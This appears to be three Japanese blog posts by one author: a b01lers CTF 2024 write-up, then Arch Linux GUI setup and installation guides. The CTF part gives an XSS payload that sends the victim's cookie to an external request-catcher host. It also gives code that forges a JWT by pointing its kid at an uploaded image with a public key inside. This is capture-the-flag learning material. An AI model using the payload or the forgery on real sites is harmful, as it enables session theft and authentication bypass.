b01lers CTF 2024 Writeup

CTF頑張ってみましたが、全然解けなくて泣きたいです。1

web/b01ler-ad

index.js

app.post('/review', limiter,  async (req, res) => {
  const initBrowser = puppeteer.launch({
      executablePath: "/opt/homebrew/bin/chromium",
      headless: true,
      args: [
          '--disable-dev-shm-usage',
          '--no-sandbox',
          '--disable-setuid-sandbox',
          '--disable-gpu',
          '--no-gpu',
          '--disable-default-apps',
          '--disable-translate',
          '--disable-device-discovery-notifications',
          '--disable-software-rasterizer',
          '--disable-xss-auditor'
      ],
      ignoreHTTPSErrors: true
  });
  const browser = await initBrowser;
  const context = await browser.createBrowserContext()
  const content = req.body.content.replace("'", '').replace('"', '').replace("`", '');
  const urlToVisit = CONFIG.APPURL + '/admin/view/?content=' + content;
  try {
      const page = await context.newPage();
      await page.setCookie({
          name: "flag",
          httpOnly: false,
          value: CONFIG.APPFLAG,
          url: CONFIG.APPURL
      })
      await page.goto(urlToVisit, {
          waitUntil: 'networkidle2'
      });
      await sleep(1000);
      // Close
      await context.close()
      res.redirect('/')
  } catch (e) {
      console.error(e);
      await context.close();
      res.redirect('/')
  }
})

contentパラメータから', ", `を一回のみ空文字に変更して、/admin/view/?content={:content}に渡します。

ということでやるだけ。

payload

<script>location = ``https://se0r12.free.beeceptor.com?cookie=${document.cookie}`</script>

web/imagehost

解法

  1. 公開鍵を含んだ画像ファイルをアップロードする
  2. 1に対応する秘密鍵を使ってJWTを作成。
    1. このとき、1でアップロードしたファイルのサーバ内のパスをkidに指定しておく。
  3. やるだけ。

適当に解説

tokens.py

def decode(token):
    headers = jwt.get_unverified_header(token)
    public_key = Path(headers["kid"])
    if public_key.absolute().is_relative_to(Path.cwd()):
        key = public_key.read_bytes()
        return jwt.decode(jwt=token, key=key, algorithms=["RS256"])
    else:
        return {}

kidのパスをとっているように見えます。

public_key.absolute().is_relative_to(Path.cwd())で条件見ているので、/appで始める必要があります。(確かPath.cwd()/app)

この時点で、public_keyが掌握できそうなこと、このアプリケーションはファイルアップロード機能があることから、自身でトークンを作って、自身で作った公開鍵でデコードさせて幸せになりたいなと思ってきます。

main.py upload関数

async def upload(request):
    if "user_id" not in request.session:
        return PlainTextResponse("Not logged in", 401)
    
    async with request.form(max_files=1, max_fields=1) as form:
        if "image" not in form:
            return RedirectResponse("/?error=Missing+image", status_code=303)
        
        image = form["image"]
        
        if image.size > 2**16:
            return RedirectResponse("/?error=File+too+big", 303)
        
        try:
            img = Image.open(image.file)
        except Exception:
            return RedirectResponse("/?error=Invalid+file", 303)
        
        if image.filename is None or not image.filename.endswith(
            tuple(k for k, v in Image.EXTENSION.items() if v == img.format)
        ):
            return RedirectResponse("/?error=Invalid+filename", 303)
        
        await image.seek(0)
        filename = Path(image.filename).with_stem(str(uuid.uuid4())).name
        with UPLOAD_FOLDER.joinpath("a").with_name(filename).open("wb") as f:
            shutil.copyfileobj(image.file, f)
        
        async with request.app.state.pool.acquire() as conn:
            async with conn.cursor() as cursor:
                await cursor.execute(
                    "INSERT INTO images(filename, user_id) VALUES (%s, %s)",
                    (filename, request.session["user_id"])
                )
        
        return RedirectResponse("/", 303)

upload関数を見てみると、画像検証をしていて、そのまま公開鍵をアップロードするわけにはいかなさそうです。

ここで、画像の中に公開鍵を含ませたらライブラリ側でいい感じに理解してくれないかなと思い検証してみました。

検証過程で分かったことは、ちゃんと改行を含んでいないとダメということです。

検証コードとtokenを生み出すために使ったコード

const jwt = require("jsonwebtoken");
const fs = require("fs");

const payload = {
    "user_id": 1,
    "admin": false
};
const secret = fs.readFileSync("private_key_server.pem");
const token = jwt.sign(payload, secret, {keyid:"/app/../uploads/92495de0-43fb-4a63-9374-030bb2bb80d8.png", algorithm: "RS256", noTimestamp: true});
console.log(token)

const pub = fs.readFileSync("test.png");
console.log(jwt.verify(token, pub, {algorithms: "RS256"}));

こんな感じ (test.png)

画像データ
(...)
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAuj9dYWOt0oAWzsiqkJVc
uHSybgCqjs3YAkUvvMjsj6h1QedsedaCWZeNFalSGxOgWnJ89KqDitZtpGGVNn7Y
jBhUuOItG0kUfjS8yHfLgEvvhdjigLvt4sEA5B49z6Ph1ZzxXBajDYvPwRBnzWY1
4OTHkErnE7GuEiyq7E7WgsdaX43q4N6xmWmvvTreSdaj8TS/B5Pit7mMPddRkDrU
CAWK/NEaKP3oPeT/6etB0MZ8/C1sMldbm9nNSrt3XOaQ+FEIoIC7Bez1HXUcESQ/
CuVdYBVurIFcmxTKnM54VjeFccbpKaxm93pRvPZI6ARhkCTiN43nx8E+J7dTivOr
gE+yWDmE3jWNi1ORnVlz82XsdR3CO/9whmYe5neSlJfqrBVcc1Vgl2GB9pMuy00z
sf1K+snzp2rF+tiyHpQICz384uXCFBDdjbb0Ld2iLoAIwz3udtzkY81o7/Vsdk/3
/2UWKoVOLb7GfWUPd5NIBnIPXuB2bcpckBBpYAWJPa51/Mfaz3LVMLT9Zbtp4LBf
oOBYwu6gCDcIQIAqbrgc47JTYzUn1q8gUj5WQ3ZTWgTIFJbZUDcP0SCbMspWOPgR
gRzAgbOlmHv71Yy4ZNUmF5Lvgv9T95s5khNbIaAGLfwwXvSGob04ucfYm126hYEb
0bTn7vAUejiomiiOa3Z1Dl0CAwEAAQ==
-----END PUBLIC KEY-----

検証はNode.jsでやっていますが、うまく行ったのでpythonもいけるでしょと思ったらいけました。(どっかに仕様として定まっているんですかね?)

ということであとはTokenを作り出して”やるだけ"

復習予定

これからはちゃんと復習します。(解こうとした問題は。)

  • [ ] web/3-city-elves-writeups
    • revで読んで、OOBでデータ持ち出しかな?
    • コマンドわからないな〜で諦め
  • [ ] web/b01lers_casino
    • お金が無限に増やせるな? -> 関係なさそうだな
    • JWTをどうにかして改造しないといけなくない?
    • 脆弱性特定できないな〜で諦め
  • [ ] web/ghost-note
    • CSP強くないですか?
    • 諦め

  1. 「b01lers CTFは難しいから解けなくても問題ないよ」と優しく言ってくれる人が欲しい

Arch LinuxのGUI環境を整える

ご挨拶

どうも。se0r12です。
先日は、Arch Linuxをインストールするということをしました。
本日は、GuI環境を整えていきたいと思います。
とその前に、軽く設定をしていきます。

network設定

インストール直後再起動してログインすると、ネットワークがつながっていないようでした。
解決策を出しておきます。

systemctl start NetworkManager
systemctl enable NetworkManager
nmtui

image

nmtuiで、Active a connectionを設定しておくことで、次回起動時からは自動的に繋がります。

pacmanの外観

pacmanをカラー出力してほしいので、/etc/pacman.confを変更します。
image colorのコメントアウトを外します。

システムのアップデートとpacmanの設定

pacman -Syu

パッケージのアップグレードコマンドです。
S --> sync(同期)
y --> refresh(リポジトリデータベースと同期)
u --> upgrade(更新)

問題点

image

実行しようとしても、名前解決ができていないと表示されるようになってしまってました。
ping google.comをしても
image

うまく行ってません。
linuxにおける、resolve設定ファイルは、/etc/resolv.confなので一度見ていきます。
ちなみに、domain名を解決するのに役立つDNSエントリーが記述されています。
image

何も記述されていないのでこれが問題な可能性が高そうです。

systemctl status systemd-resolved.service

これの結果を見てください。
image

activeかつ、enableになっていれば多分疎通確認を取ることができるはず。
Arch Wikiに助けられました。

一般ユーザの作成

管理者アカウントでは、あまり行動したくありません。
大いなるなんちゃらには、なんちゃらかんチャラですから。(Cent OSでよく見るやつ)

useradd -m -G wheel <user_name>

-m --> homeディレクトリの作成 - G --> passwordを設定しておきます。

passwd user_name

私は、se0r12というアカウントを作成しました。
操作はse0r12でおこないますが、管理者権限も使いたいので、設定をします。

pacman -S sudo
EDITOR=nano visudo

image

userの作成の際に、グループはwheelとしたので、この部分のコメントアウトを外しました。

NTPの設定

時刻に未だにズレが生じているので、解消していきます。
/etc/systemd/timesyncd.conf

[Time]
NTP=ntp.nict.jp
FallbackNTP=0.jp.pool.ntp.org 1.jp.pool.ntp.org 2.jp.pool.ntp.org 3.jp.pool.ntp.org

コメントアウトを外し、日本サーバを指定してあげます。

最後にサービスを有効にしましょう。

timedatectl set-ntp true

一般ユーザへ入り直す

exit

image

GUI Install

fontのインストール

日本語を表示するためにフォントのインストールをしておきます。

sudo pacman -S noto-fonts noto-fonts-cjk noto-fonts-emoji noto-fonts-extra ttf-dejavu

Xorgのインストール

GUI環境を動かすために必須となります。
Xorgxorg-server pacageにてインストールが可能となります。

pacman -S xorg-server xorg-apps xorg-xinit mesa
pacman -S xorg-twm xorg-xclock xterm

virtual box用

sudo pacman -S xf86-video-vesa xf86-video-fbdev
sudo pacman -S virtualbox-guest-utils

image 一応テストをします。

startx

image exitで抜けれます。

DeskTop環境の導入

Desktop環境はたくさんあり魅力的なものが多いです。
私は、Ubuntu 20.04をメインとして使用していて、GNOMEを使用しています。
なので今回は、GNOMEでいきます。

sudo pacman -S gnome

なんか聞かれたけど、VMだしとりあえず全オッケー

systemctl start gdm
systemctl enable gdm

ここまできたらrebootをして立ち上がるかを見てみます。

image GUI環境を導入することができました。
今回はここまでで終了です。

Arch Linuxインストール

Arch Linux Install Guide

はじめに

こんにちは。se0r12です。
今回はお試しとしてvirtual boxに対して、Arch Linuxをインストールしてみます。

初期設定

UEFIインストール

UEFIvirtualboxで使用する際は、
image EFIを有効化にチェックを入れます。
image

このまま入れます。

システムの時計を合わせる

timedatectl set-ntp true

keybood

私はUS配列キーボードを使用しているため、特に変更はしませんが、JISの場合は、

loadkeys jp106

とする必要があります。

network

私のPCは有線につながっています。
無線の場合は、設定する必要がありますが、今回は省略します。
有線につながっている方でも、

ping archlinux.jp

でネットワークの疎通確認はしておきましょう。
image

パーテーション作成

多分ですけど、ここで一番つまります。

fdisk -l

image ここでは、loopや、rom, airootは無視して構いません。

Arch linuxをインストールする際以下のパーテーションが必要となります。
* rootのパーテーション
* UEFIで起動するためのEFIパーテション
LVM, RAIDなどを使う際はもっと複雑になる可能性がありますが、今回は割愛します。

UEFIでインストールをしているはずですが、今一度確かめるために下記コマンドを書き込んでください

ls /sys/firmware/efi/efivars

image

こんな感じにたくさんファイルが出てきたら、UEFIを使用しているので安心してください。

GPTか、MBRかを考える人が居る可能性がありますが、GPTを使用してください。
理由

では、/dev/sdaに対してパーテションの作成をしていきます。

gdisk /dev/sda
o --> create
y --> なんか出るけどyesしておいて。

EFIパーテーションの作成

n --> パーテションを追加
Command (? for help): n
Partition number (1-128, default 1):    //何も入力せずEnter
First sector (〜) or {+-}size{KMGTP}:    //何も入力せずEnter
Last sector (〜) or {+-}size{KMGTP}: +512M
Hex code or GUID (L to show codes, Enter = 8300): ef00

image

OSシステム用のルートパーテーションの作成

n --> 追加
その他はすべてエンターを押してください。

最後に、wコマンドで、パーテーションテーブルをディスクに書き込みます。
image

最後に

fdisk -l

をしたときに、 image
deviceがこうなっていれば成功です。

パーテーションをフォーマットする

作成したパーテーションをフォーマットし使えるようにします。

mkfs.fat -F32 /dev/sda1
mkfs.ext4 /dev/sda2

パーテーションのマウント

マウントをし、データの読み書きを行えるようにします。

rootパーテーションを/mntにマウント

mount /dev/sda2 /mnt

efiパーテーションを/mnt/bootにマウント

mkdir /mnt/boot
mount /dev/sda1 /mnt/boot

Arch Linuxをインストール

サーバーのミラーリストを設定

インストールされているパッケージは、/etc/packman.d/mirrorlistに定義されているミラーからダウンロードされます。
そのため、ミラーを日本のサーバーからダウンロードするように設定しておきます。

reflector --sort rate --country Japan --latest 10 --save /etc/pacman.d/mirrorlist

必須パッケージのインストール

packstrapにて、必須パッケージをインストールしておきます。
必須パッケージは、
* base
* linux
* linux-firmware
であるとArch wikiには記述されています。
ですが、初期設定をする際にエディタがほしいので、nanoも入れておきます。
その他のも詰め合わせると以下のようになります。

pacstrap /mnt base base-devel linux linux-firmware nano wpa_supplicant networkmanager intel-ucode

この時、Failed to install packeges to new rootとなった方、installしようとしているものの入力ミスを確認してみてください。

fstabの設定

起動時にマウントするパーテーションなどを設定してくれます。
genfstabを使用しましょう。

genfstab -U /mnt >> /mnt/etc/fstab

システムに入る

arch-chroot /mnt

image

設定

タイムゾーンの設定

タイムゾーンを東京に合わせます

ln -sf /usr/share/zoneinfo/Asia/Tokyo /etc/localtime

ハードウェアクロックの設定

現在の時刻をマザーボードの内部時計に書き込みます。

言語設定

Linux上で使用する言語を設定します。

en_US.UTF-8 UTF-8
ja_JP.UTF-8 UTF-8

この2つのコメントアウトを外してください。

その後、locale-genコマンドにより、ロケールを生成します。
image

コメントアウトできていればこうなるはずです。

echo LANG=en_US.UTF-8 > /etc/locale.conf

最後に、デフォルトロケールを指定します。

passwordの設定

root用のパスワードを設定しておきます。

passwd

画面にはパスワードは表示されません。
ですが正しく打てているので気にせず。。

bootloder

Archでは、システム起動のためにブートローダーが必要となります。
今回はUEFI向けに進めますね。

パッケージインストール

pacman -S grub efibootmgr

Grubのインストール

grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=Arch

ここで=の後に無駄にスペースを入れないようにしてください。

.efiのコピー(一応

)

mkdir /boot/EFI/boot
cp /boot/EFI/Arch/grubx64.efi /boot/EFI/boot/bootx64.efi

Grubの設定ファイルを生成

grub-mkconfig -o /boot/grub/grub.cfg

再起動

ここまでで、一通りの準備は終了しました。
一度システムから抜けます。

exit

image

次にマウントを解除します。

umount -R /mnt

最後に再起動をします。

reboot

image うまく行けばこのような画面になるはずです。

最後に

ここまでお疲れ様でした。
なんでArch linuxを入れようと思ったかなど書きたいことはたくさんありますが、明日学校行事でこの時間はかなりやばいのでもう寝ます。
明日は、様々な設定をしていきたいと思います。